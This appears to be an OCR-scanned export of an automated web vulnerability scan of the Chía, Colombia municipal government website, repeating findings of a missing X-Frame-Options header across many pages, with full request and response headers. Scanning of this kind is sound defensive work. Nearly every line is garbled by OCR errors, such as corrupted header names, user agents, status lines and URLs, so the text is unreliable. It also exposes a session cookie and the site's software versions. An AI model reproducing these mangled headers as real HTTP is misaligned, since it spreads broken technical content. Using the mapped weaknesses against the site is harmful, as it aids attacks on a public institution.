Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 46:26 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

QUTPUT
Page https://chia-cundi nanmar ca. gov. co/ web/ 2024/ 05/ 10/ tram te- para-solicitar-certificados-de-resi dencia-en-el-territorio-
de-chi a-y-personerias-juridicas/ has no X-Frane-Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS
Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/directorio/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=7526>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/v1/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
Page https://chia-cundi nanarca. gov. co/ i nages/ has no X- Frane-Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni; v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVII

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last-Modi fied: Sun, 11 Dec 2016 21:51:10 GVI
Accept - Ranges: bytes

Web Application Scanning Detailed Scan Export:
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INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/ has no X- Franme- Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi | e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
Page https://chia-cundi nanarca. gov. co/ web/ partici pa/ has no X-Frane-Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

Web Application Scanning Detailed Scan Export:
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User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl at form "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:39:13 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[ wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
Page https://chi a-cundi namarca. gov. co/ control panel/ has no X-Franme- Opti ons header defined

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy?2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 01:57:07 GV
Cont ent - Type: text/htm
Transfer-Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/cache/

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/cache/

Page https://chia-cundi nanarca. gov. co/ cache/ has no X-Franme- Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVI

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last-Modi fied: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification
OUTPUT

Page https://chia-cundi nanmarca. gov. co/test. php has no X-Frane-Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi nanarca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM,
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/
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Connection: keep-alive
Vary: Accept-Encodi ng
Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
Page https://chi a-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/ has no X- Frane-Opti ons header defi ned

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunental / has no X-Frane- Opti ons
header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /

Web Application Scanning Detailed Scan Export:
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVI

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=805>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
Page https://chia-cundi nanarca. gov. co/ web/ 2023/ 12/ 29/ secretari as/ has no X-Frame- Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GV

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

[/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
Page https://chi a- cundi namar ca. gov. co/ web/ t ranspar enci a-y- acceso- a- | a-i nf ormaci on- publ i ca/ has no X-Frane- Options
header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a-y- acceso- a-| a-i nfor maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: same-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:38:08 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ 2024/ 10/ 24/ coni enza- el - censo- a- bar es- y- est abl eci m ent os- noct urnos/ has no X-
Frame- Opti ons header defined

Web Application Scanning Detailed Scan Export:
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HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GV

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ post s/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=20823>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/ has no
X- Frame- Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

Web Application Scanning Detailed Scan Export:
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HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 07:08:06 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ posts/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Identification

QUTPUT
Page https://chia-cundi nanmarca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de-| as- enpr esas- pr est ador as- de-
servicios-publicos/ has no X-Frane-Qptions header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os- publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Page https://chi a-cundi namar ca. gov. co/ i ndex. php/tramites-y-servicios/sisben has no X-Franme- Qpti ons header defined

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GvVIT

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV COUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GV

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HitpOnly
Last-Modified: Thu, 19 Dec 2024 04:01:41 GV

INSTANCE
https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/tram tes-y-servicios/ has no X-Frane-Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tram tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GVl

Content-Type: text/htm; charset=UTF-8

Transf er-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=63>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
Page https://chia-cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de-1 a-enti dad/ has no X- Franme- Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

